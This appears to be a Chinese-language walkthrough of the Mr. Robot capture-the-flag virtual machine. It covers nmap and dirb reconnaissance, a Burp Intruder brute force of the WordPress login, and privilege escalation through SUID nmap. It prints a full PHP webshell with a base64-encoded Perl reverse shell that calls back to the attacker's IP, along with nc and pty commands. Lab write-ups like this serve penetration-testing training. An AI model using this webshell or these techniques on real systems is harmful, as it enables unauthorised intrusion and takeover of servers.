靶机下载链接: 百度网盘 请输入提取码 提取码: sqv3
一、主机发现
1.用ifconfig查看kali的ip,因为kali和靶机都开启了NAT模式,使用namp -sP 192.168.101.0/24探测靶机ip
二、信息收集
1.使用nmap扫描靶机
使用nmap -A 192.168.101.108 ,查看靶机开放的端口与服务。
2.使用dirb命令扫描靶机网站
用dirb命令扫描靶机网站,看看有没有隐藏的网址或者配置文件,具体使用方法:dirb http://192.168.101.108
三、利用找到的信息,进行渗透
1.利用找到的网站寻找有用的信息
(1)扫描到一下可能有用的网站,先看http://192.168.101.108/robots这个网站,一般这里会写哪些文件能不能爬虫
一个txt文件,直接访问这个txt文件,发现了第一个flag
2.字典爆破
访问http://192.168.101.108/robots另外一个文件fsocity.dic
打开刚才的文件发现是一个类似字典的文件将获取到的字典排序
刚才收集的网址里面有个http://192.168.101.108/wp-login.php,可能会用上字典
设置好火狐浏览器的Foxyproxy插件,自动启用
启用kali的brup suite抓包工具,具体操作如下:
抓包工具设置完成后,在用户密码那里随便写点东西
自动弹出,如下所示页面,则抓到包了。
点击右键将数据包发送给 intruder
选择cluster bomb模式,添加用户和密码两个参数
将刚才排序好的字典导入两个参数中
字典添加完成后,点击start attack,开始跑字典,由于字典较长需要跑久一点看到
一个length数值不一样的就是正确的用户密码
接着尝试用爆破出来的用户密码登录一下该网站,结果成功登录到后台
3.利用wp-admin网站后台上传webshell
(1)修改404.php将webshell.php上传
找到404.php,将webshell.php源码粘贴到里面
webshell源码
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.101.10";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
之后,先开启监听:nc -lvvp 4444 ,直接访问404.php
访问之后,反向链接到kali
4.渗透
优化命令执行终端,执行下面命令进入python交互式(注意要下载python环境才能运行):
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
(1)查看/home目录有没有flag
发现一个txt文件但是没有robot的密码,在robot目录里面还有一个pasword开头的文件还是md5加密的
解密该字符串
查看刚才的那个key文件,发现flag
(2)SUID提权
1.查看具有的SUID的二进制可执行文件:find / -user root -perm -4000 -print 2>/dev/null
2.已知的可用来提权的linux可行性文件列表如下:nmap、vim、find、bash、more、less、nano、cp
3.进入nmap交互模式,(仅限2.02-5.21版本):nmap --interactive
4.提权root:! sh